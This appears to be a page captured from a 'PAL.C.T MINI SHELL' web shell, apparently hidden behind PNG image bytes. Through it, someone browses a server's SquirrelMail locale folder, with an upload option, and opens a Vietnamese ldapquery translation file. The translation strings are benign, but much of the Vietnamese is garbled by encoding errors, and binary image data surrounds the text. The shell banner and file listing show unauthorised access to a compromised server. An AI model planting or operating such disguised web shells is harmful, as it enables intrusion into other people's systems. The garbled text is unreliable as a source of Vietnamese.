‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/vi_VN/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/vi_VN/LC_MESSAGES/ldapquery.po

# Vietnamese (vi) ldapquery Translation (SquirrelMail plugin)
# Copyright © 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Clytie Siddall <clytie@riverland.net.au>, 2008.
# $Id: ldapquery.pot 11068 2006-04-20 23:31:04Z jervfors $
#
msgid ""
msgstr ""
"Project-Id-Version: ldapquery 2.1\n"
"Report-Msgid-Bugs-To: Tomas Kuliavas <tokul@users.sourceforge.net>\n"
"POT-Creation-Date: 2006-03-26 17:23+0300\n"
"PO-Revision-Date: 2008-03-09 23:23+1030\n"
"Last-Translator: Clytie Siddall <clytie@riverland.net.au>\n"
"Language-Team: Vietnamese <vi-VN@googlegroups.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: LocFactoryEditor 1.7b1\n"

#: addressbook.php:64
msgid "Personal address book is not available."
msgstr "Sổ địa chỉ cá nhân không sẵn sàng."

#: addressbook.php:71
#. checked email field
msgid "Email address is not set or empty."
msgstr "Äịa chỉ thư Ä‘iện tá»­ chưa được đặt hoặc là rá»—ng."

#: addressbook.php:74
#. checked both name fields
msgid "Name is not set or empty."
msgstr "Tên chưa được đặt hoặc là rỗng."

#: addressbook.php:80
#, php-format
msgid "Nickname %s is already in use."
msgstr "Tên hiệu %s đang được dùng."

#: addressbook.php:82
msgid "Can't create address book entry."
msgstr "Không thể tạo mục nhập sổ địa chỉ."

#: addressbook.php:94
msgid "Nickname: "
msgstr "Tên hiệu : "

#: addressbook.php:97
msgid "First name: "
msgstr "Tên: "

#: addressbook.php:100
msgid "Last name: "
msgstr "Há» : "

#: addressbook.php:103
msgid "E-mail: "
msgstr "Äịa chỉ thư : "

#: addressbook.php:106
msgid "Info: "
msgstr "Thông tin: "

#: addressbook.php:109
msgid "Add address"
msgstr "Thêm địa chỉ"

#: addressbook.php:113
msgid "Address book entry is saved."
msgstr "Mục nhập sổ địa chỉ đã được lưu."

#: addressbook.php:120
msgid "Return to search results"
msgstr "Trở vỠkết quả tìm kiếm"

#: class.schema.php:43
#, php-format
msgid "Dublicate ldap attribute definition: %s."
msgstr "Lá»i xác định thuá»™c tính LDAP trùng: %s"

#: class.schema.php:77
#, php-format
msgid "Dublicate ldap object definition: %s."
msgstr "Lá»i xác định đối tượng LDAP trùng: %s"

#: class.schema.php:92
msgid "Any"
msgstr "Bất kỳ"

#: functions.php:97
msgid "Directory"
msgstr "Danh bạ"

#: functions.php:116
#: functions.php:161
msgid "Directory Preferences"
msgstr "Tùy thích Danh bạ"

#: functions.php:118
msgid ""
"These settings control what type of output you will see when you use the "
"Directory link to search Directory Services."
msgstr "Thiết lập này Ä‘iá»u khiển kiểu kết xuất nào bạn sẽ thấy khi dùng liên kết Danh bạ để tìm kiếm qua Dịch vụ Danh bạ."

#: functions.php:281
#: functions.php:350
msgid "No records found"
msgstr "Không tìm thấy"

#: functions.php:553
msgid "Save"
msgstr "Lưu"

#: functions.php:555
msgid "Add to address book"
msgstr "Thêm vào Sổ địa chỉ"

#: functions.php:577
msgid "Plugin requires PHP with LDAP support."
msgstr "Phần mở rộng cần thiết PHP có hỗ trợ LDAP."

#: functions.php:579
msgid "LDAP address books are not configured in SquirrelMail configuration."
msgstr "Chưa cấu hình sổ địa chỉ LDAP trong cấu hình SquirrelMail."

#: ldapquery.php:59
#. Get the userdn to authenticate with
msgid "User DN:"
msgstr "DN ngưá»i dùng:"

#: ldapquery.php:63
#. Get the user password
msgid "Password:"
msgstr "Mật khẩu :"

#: ldapquery.php:69
#. Get the objectclass the user wants to search for
msgid "Search For:"
msgstr ""
"Tìm:"

#: ldapquery.php:81
#. Get the attribute the user wants to search by
msgid "Where:"
msgstr "Nơi:"

#: ldapquery.php:106
#: ldapquery.php:108
msgid "Contains"
msgstr "chứa"

#: ldapquery.php:110
#: ldapquery.php:112
msgid "Is"
msgstr "là"

#: ldapquery.php:121
#. Sort By menu
msgid "Sort By:"
msgstr "Sắp xếp theo :"

#: ldapquery.php:136
msgid "Search in:"
msgstr "Tìm kiếm trong: "

#: ldapquery.php:141
msgid "All LDAP address books"
msgstr "Má»i sổ địa chỉ LDAP"

#: ldapquery.php:158
msgid "Search"
msgstr "Tìm"

#: ldapquery.php:165
msgid "Search Results"
msgstr "Kết quả tìm"

#: ldapquery.php:169
#, php-format
msgid "Comparetype is %s"
msgstr "Comparetype là %s"

#: ldapquery.php:189
#, php-format
msgid "QUERY is %s"
msgstr "QUERY là %s"

#: ldapquery.php:227
#, php-format
#.
#. * Used in debug mode
#. * Example output "Querying: ldap-server-address on port some-port with base ldap-base-dn"
#. * See http://www.php.net/sprintf if you want to rearrange order of arguments
#.
msgid "Querying: %s on port %d with base %s"
msgstr "Äang truy vấn: %s trên cổng %d vá»›i cÆ¡ bản %s"

#: ldapquery.php:234
#, php-format
msgid "Could not connect to LDAP server %s"
msgstr "Không thể kết nối tới máy phục vụ LDAP %s"

#: ldapquery.php:244
#: ldapquery.php:249
#: ldapquery.php:254
msgid "Unable to bind to LDAP server"
msgstr "Không thể đóng kết tới máy phục vụ LDAP"

#: ldapquery.php:266
msgid "Nothing found!"
msgstr "Không tìm thấy."

#: ldapquery.php:274
#, php-format
msgid "output type is %s"
msgstr "kết xuất kiểu %s"

#: ldapquery.php:275
#, php-format
msgid "output sorted by %s"
msgstr "kết xuất được sắp xếp theo %s"

#: options.php:43
msgid "Options - Directory Preferences"
msgstr "Tùy chá»n — Tùy thích Danh bạ"

#: options.php:49
msgid "Output types can be:"
msgstr "Kiểu kết xuất có thể:"

#: options.php:52
#: options.php:62
msgid "One Table"
msgstr "Một bảng"

#: options.php:53
msgid ""
"One big table with one row per record found and each selected attribute as a "
"separate column."
msgstr "Má»™t bảng lá»›n hiển thị má»™t hàng cho má»—i mục ghi được tìm và má»—i thuá»™c tính đã chá»n dưới dạng má»™t cá»™t riêng."

#: options.php:54
#: options.php:63
msgid "Multiple Tables"
msgstr "Äa bảng"

#: options.php:55
msgid ""
"One table per record found with 2 columns for each table. One column "
"contains attribute names and the 2nd column shows values for each "
"attribute.  This format is best if you have many attributes selected or if "
"the values for some of the attributes you have selected can be very long "
"with no spaces (like labeledurl)."
msgstr "Má»™t bảng cho má»—i mục ghi được tìm vá»›i hai cá»™t cho má»—i bảng. Má»™t cá»™t chứa các tên thuá»™c tính, và cá»™t thứ hai hiển thị các giá trị cho má»—i thuá»™c tính. Äịnh dạng này tốt nhất nếu bạn đã chá»n rất nhiá»u thuá»™c tính, hoặc nếu bạn đã chá»n má»™t số thuá»™c tính có thể là rất dài và không có dấu cách (v.d. « labeledurl »)."

#: options.php:60
msgid "Select Output Type:"
msgstr "Chá»n kiểu kết xuất:"

#: options.php:68
msgid "Select Displayed Fields"
msgstr "Chá»n các trưá»ng cần hiển thị"

#: options.php:76
msgid "Submit"
msgstr "Äệ trình"

#: schema/core.php:20
#. openldap system schemas
msgid "Common Name"
msgstr "Tên chung"

#: schema/core.php:23
msgid "Knowledge Information"
msgstr "Thông tin kiến thức"

#: schema/core.php:25
msgid "Surname"
msgstr "Há»"

#: schema/core.php:27
msgid "Serial Number"
msgstr "Số sản xuất"

#: schema/core.php:29
msgid "Country Name"
msgstr "Tên quốc gia"

#: schema/core.php:31
msgid "Locality Name"
msgstr "Tên vùng"

#: schema/core.php:33
msgid "State or Province Name"
msgstr "Tên tiểu bang / tỉnh"

#: schema/core.php:35
msgid "Street Address"
msgstr "Äịa chỉ phố"

#: schema/core.php:37
msgid "Organisation Name"
msgstr "Tên tổ chức"

#: schema/core.php:39
msgid "Organisational Unit Name"
msgstr "Tên đơn vị tổ chức"

#: schema/core.php:41
msgid "Title"
msgstr "Tên"

#: schema/core.php:43
msgid "Description"
msgstr "Mô tả"

#: schema/core.php:45
msgid "Search Guide"
msgstr "Sổ tay tìm kiếm"

#: schema/core.php:47
msgid "Business Category"
msgstr "Phân loại kinh doanh"

#: schema/core.php:49
msgid "Postal Address"
msgstr "Äịa chỉ bưu Ä‘iện"

#: schema/core.php:51
msgid "Postal Code"
msgstr "Mã bưu điện:"

#: schema/core.php:53
msgid "Post Office Box"
msgstr "Hộp bưu điện"

#: schema/core.php:55
msgid "Physical Delivery Office Name"
msgstr "Tên văn phòng phát vật lý"

#: schema/core.php:57
msgid "Telephone Number"
msgstr "Số điện thoại"

#: schema/core.php:59
msgid "Telex Number"
msgstr "Số Telex"

#: schema/core.php:61
msgid "Teletex Terminal Identifier"
msgstr ""
"Äồ nhận diện thiết bị cuối Teletex"

#: schema/core.php:63
msgid "Facsimile (Fax) Telephone Number"
msgstr "Số điện thư (fax)"

#: schema/core.php:66
msgid "X.121 Address"
msgstr "Äịa chỉ X.121"

#: schema/core.php:68
msgid "International ISDN Number"
msgstr "Số ISDN quốc tế"

#: schema/core.php:70
msgid "Registered Postal Address"
msgstr "Äịa chỉ bưu Ä‘iện đã đăng ký"

#: schema/core.php:72
msgid "Destination Indicator"
msgstr "Chỉ thị đích đến"

#: schema/core.php:74
msgid "Preferred Delivery Method"
msgstr "Phương pháp phát ưa thích"

#: schema/core.php:76
msgid "Presentation Address"
msgstr "Äịa chỉ trình diá»…n"

#: schema/core.php:78
msgid "Supported Application Context"
msgstr "Ngữ cảnh ứng dụng đã hỗ trợ"

#: schema/core.php:80
msgid "Member of a group"
msgstr "Thành viên của nhóm"

#: schema/core.php:82
msgid "Owner"
msgstr "Ngưá»i sở hữu"

#: schema/core.php:84
msgid "Occupant of role"
msgstr "Ngưá»i có vai trò"

#: schema/core.php:86
msgid "See also"
msgstr "Xem thêm "

#: schema/core.php:88
msgid "User Certificate"
msgstr "Chứng nhận ngưá»i dùng"

#: schema/core.php:90
msgid "CA Certificate"
msgstr "Chứng nhận CA"

#: schema/core.php:92
msgid "Authority Revocation List"
msgstr "Danh sách há»§y bá» quyá»n"

#: schema/core.php:94
msgid "Certificate Revocation List"
msgstr "Danh sách hủy bỠchứng nhận"

#: schema/core.php:96
msgid "Cross Certificate Pair"
msgstr "Cặp chứng nhận chéo"

#: schema/core.php:98
msgid "First Name"
msgstr "Tên"

#: schema/core.php:101
msgid "Initials"
msgstr "Tên VT"

#: schema/core.php:103
msgid "Generation Qualifier"
msgstr "Äồ hạn định tạo ra"

#: schema/core.php:105
msgid "X.500 unique identifier"
msgstr "Äồ nhận diện duy nhất X.500"

#: schema/core.php:107
msgid "DN qualifier"
msgstr "Äồ hạn định DN"

#: schema/core.php:109
msgid "Enhanced Search Guide"
msgstr "Sổ tay tìm kiếm tăng cưá»ng"

#: schema/core.php:111
msgid "Protocol Information"
msgstr "Thông tin giao thức"

#: schema/core.php:113
msgid "unique member of a group"
msgstr "thành viên duy nhất của nhóm"

#: schema/core.php:115
msgid "House Identifier"
msgstr "Äồ nhận diện nhà"

#: schema/core.php:117
msgid "Supported Algorithms"
msgstr "Thuật toán đã hỗ trợ"

#: schema/core.php:119
msgid "Delta Revocation List"
msgstr "Danh sách hủy bỠDelta"

#: schema/core.php:123
#. Attribute specifies a directory management domain (DMD),
#. the administrative authority which operates the directory server.
msgid "Name of DMD"
msgstr "Tên DMD"

#: schema/core.php:125
msgid "Labelled URI"
msgstr "URI có nhãn"

#: schema/core.php:127
msgid "User ID"
msgstr "ID ngưá»i dùng"

#: schema/core.php:130
msgid "Mail"
msgstr ""
"Thư"

#: schema/core.php:133
msgid "Domain Component"
msgstr "Thành phần miá»n"

#: schema/core.php:136
msgid "Associated Domain"
msgstr "Miá»n liên quan"

#: schema/core.php:138
msgid "Email Address"
msgstr "Äịa chỉ thư"

#: schema/core.php:143
#: schema/cosine.php:84
#. * Object Classes
msgid "Country"
msgstr ""
"Quốc gia"

#: schema/core.php:145
msgid "Locality"
msgstr "Vùng"

#: schema/core.php:147
msgid "Organisation"
msgstr "Tổ chức"

#: schema/core.php:149
msgid "Organisational Unit"
msgstr "ÄÆ¡n vị tổ chức"

#: schema/core.php:151
msgid "Person"
msgstr "Ngưá»i"

#: schema/core.php:153
msgid "Organisational Person"
msgstr "Ngưá»i tổ chức"

#: schema/core.php:155
msgid "Organisational Role"
msgstr "Vai trò tổ chức"

#: schema/core.php:157
msgid "Group of Names"
msgstr "Nhóm tên"

#: schema/core.php:159
msgid "Residential Person"
msgstr "Ngưá»i nhà ở"

#: schema/core.php:161
msgid "Application Process"
msgstr "Tiến trình ứng dụng"

#: schema/core.php:163
msgid "Application Entity"
msgstr "Thực thể ứng dụng"

#: schema/core.php:166
#. RFC2256: a directory system agent (a server)
msgid "DSA"
msgstr "DSA"

#: schema/core.php:168
msgid "Device"
msgstr "Thiết bị"

#: schema/core.php:170
msgid "Strong Authentication User"
msgstr "Ngưá»i dùng xác thá»±c mạnh"

#: schema/core.php:172
msgid "Certificate Authority"
msgstr "Nhà cầm quyá»n chứng nhận"

#: schema/core.php:174
msgid "Group of Unique Names"
msgstr "Nhóm tên duy nhất"

#: schema/core.php:176
msgid "User Security Information"
msgstr "Thông tin Bảo mật Ngưá»i dùng"

#: schema/core.php:178
msgid "Certificate Authority V2"
msgstr "Nhà cầm quyá»n chứng nhận pb 2"

#: schema/core.php:180
msgid "CRL Distribution Point"
msgstr "Äiểm phân phối CRL"

#: schema/core.php:183
#. a directory management domain object
msgid "dmd"
msgstr "dmd"

#: schema/core.php:185
msgid "PKI User"
msgstr "Ngưá»i dùng PKI"

#: schema/core.php:187
msgid "PKI CA"
msgstr "PKI CA"

#: schema/core.php:189
msgid "Delta CRL"
msgstr "Delta CRL"

#: schema/core.php:191
msgid "Labeled URI Object"
msgstr "Äối tượng URI có nhãn"

#: schema/core.php:193
msgid "Simple Security Object"
msgstr ""
"Äối tượng bảo mật đơn giản"

#: schema/core.php:195
msgid "DC Object"
msgstr "Äối tượng DC"

#: schema/core.php:197
msgid "UID Object"
msgstr "Äối tượng UID"

#: schema/cosine.php:19
msgid "Encoded Text or Address"
msgstr "Văn bản đã mật mã hoặc địa chỉ"

#: schema/cosine.php:21
msgid "Info"
msgstr "Thông tin"

#: schema/cosine.php:24
#. Favorite drink (noun)
msgid "Drink"
msgstr ""
"Uống"

#: schema/cosine.php:27
msgid "Room Number"
msgstr "Số thứ tự phòng"

#: schema/cosine.php:29
msgid "Photo"
msgstr "Ảnh chụp"

#: schema/cosine.php:31
msgid "Category of user"
msgstr "Phân loại ngưá»i dùng"

#: schema/cosine.php:33
msgid "Host"
msgstr "Máy"

#: schema/cosine.php:35
msgid "Manager"
msgstr "Quản đốc"

#: schema/cosine.php:37
msgid "Document identifier"
msgstr "Äồ nhận diện tài liệu"

#: schema/cosine.php:39
msgid "Document Title"
msgstr "Tựa đỠTài liệu"

#: schema/cosine.php:41
msgid "Document version"
msgstr "Phiên bản tài liệu"

#: schema/cosine.php:43
msgid "Document author"
msgstr "Tác giả tài liệu"

#: schema/cosine.php:45
msgid "Location of document"
msgstr "Vị trí của tài liệu"

#: schema/cosine.php:47
msgid "Home Phone"
msgstr "Äiện thoại ở nhà"

#: schema/cosine.php:50
msgid "Secretary"
msgstr ""
"Thư ký"

#: schema/cosine.php:52
msgid "Other Mailbox"
msgstr "Hộp thư khác"

#: schema/cosine.php:55
#. DNS A record entries
msgid "A Record"
msgstr "Một mục ghi"

#: schema/cosine.php:58
#. DNS MD record entries
msgid "MD Record"
msgstr "Mục ghi MD"

#: schema/cosine.php:61
#. DNS MX record entries
msgid "MX Record"
msgstr ""
"Mục ghi MX"

#: schema/cosine.php:64
#. DNS NS record entries
msgid "NS Record"
msgstr "Mục ghi NS"

#: schema/cosine.php:67
#. DNS SOA record entries
msgid "SOA Record"
msgstr "Mục ghi SOA"

#: schema/cosine.php:70
#. DNS CNAME record entries
msgid "CNAME Record"
msgstr "Mục ghi CNAME"

#: schema/cosine.php:72
msgid "Associated Name"
msgstr "Tên liên quan"

#: schema/cosine.php:74
msgid "Home Postal Address"
msgstr "Äịa chỉ nhà bưu Ä‘iện"

#: schema/cosine.php:76
msgid "Personal Title"
msgstr "Tuổi tác"

#: schema/cosine.php:78
msgid "Mobile Phone Number"
msgstr "Äiện thoại di động"

#: schema/cosine.php:81
msgid "Pager"
msgstr "Số nhắn tin"

#: schema/cosine.php:87
msgid "Unique Identifier"
msgstr "Äồ nhận diện duy nhất"

#: schema/cosine.php:89
msgid "Organizational status"
msgstr "Trạng thái tổ chức"

#: schema/cosine.php:92
#. Mail address in rfc733 format
msgid "Janet mailbox"
msgstr "Hộp thư Janet"

#: schema/cosine.php:94
msgid "Mail Preference Option"
msgstr "Tùy chá»n Tùy thích Thư tin"

#: schema/cosine.php:96
msgid "Name of building"
msgstr "Tên của toà nhà"

#: schema/cosine.php:98
msgid "DSA Quality"
msgstr "Chất lượng DSA"

#: schema/cosine.php:100
msgid "Single Level Quality"
msgstr "Chất lượng cấp đơn"

#: schema/cosine.php:102
msgid "Subtree Minimum Quality"
msgstr "Chất lượng tối thiểu cây con"

#: schema/cosine.php:104
msgid "Subtree Maximum Quality"
msgstr "Chất lượng tối đa cây con"

#: schema/cosine.php:106
msgid "Personal Signature"
msgstr "Chữ ký cá nhân"

#: schema/cosine.php:109
#. Redirection to other entry in directory
msgid "DIT Redirect"
msgstr "Chuyển hướng DIT"

#: schema/cosine.php:111
msgid "Audio"
msgstr "Âm thanh"

#: schema/cosine.php:113
msgid "Publisher of document"
msgstr "Nhà xuất bản tài liệu"

#: schema/cosine.php:116
msgid "Pilot Person"
msgstr "Ngưá»i hoa tiêu"

#: schema/cosine.php:119
msgid "Account"
msgstr "Tài khoản"

#: schema/cosine.php:121
msgid "Document"
msgstr "Tài liệu"

#: schema/cosine.php:123
msgid "Room"
msgstr "Phòng"

#: schema/cosine.php:125
msgid "Document Series"
msgstr ""
"Dãy tài liệu"

#: schema/cosine.php:128
#. can represent dns and nrs domain objects
msgid "Domain"
msgstr "Miá»n"

#: schema/cosine.php:130
msgid "RFC822 Local Part"
msgstr "Phần cục bộ RFC822"

#: schema/cosine.php:132
msgid "DNS Domain"
msgstr "Miá»n DNS"

#: schema/cosine.php:134
msgid "Object related to domain"
msgstr "Äối tượng liên quan đến miá»n"

#: schema/cosine.php:136
msgid "Friendly Country"
msgstr "Quốc gia thân mật"

#: schema/cosine.php:138
msgid "Pilot Organisation"
msgstr "Tổ chức hoa tiêu"

#: schema/cosine.php:140
msgid "Pilot DSA"
msgstr "DSA hoa tiêu"

#: schema/cosine.php:142
msgid "Quality Labelled Data"
msgstr "Dữ liệu có nhãn chất lượng"

#: schema/inetorgperson.php:20
msgid "Car License"
msgstr "Giấy phép lái xe"

#: schema/inetorgperson.php:22
msgid "Department Number"
msgstr "Số thứ tự phòng ban"

#: schema/inetorgperson.php:24
msgid "Displayed Name"
msgstr "Tên hiển thị"

#: schema/inetorgperson.php:26
msgid "Employee Number"
msgstr "Số thứ tá»± ngưá»i làm"

#: schema/inetorgperson.php:28
msgid "Employee Type"
msgstr ""
"Kiểu ngưá»i làm"

#: schema/inetorgperson.php:30
msgid "JPEG Photo"
msgstr "Ảnh chụp JPEG"

#: schema/inetorgperson.php:32
msgid "Preferred Language"
msgstr "Ngôn ngữ ưa thích"

#: schema/inetorgperson.php:34
msgid "User SMIME Certificate"
msgstr "Chứng nhận S/MIME ngưá»i dùng"

#: schema/inetorgperson.php:36
msgid "User PKCS12"
msgstr "PKCS12 ngưá»i dùng"

#: schema/inetorgperson.php:38
msgid "Internet Organizational Person"
msgstr "Ngưá»i tổ chức Internet"
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚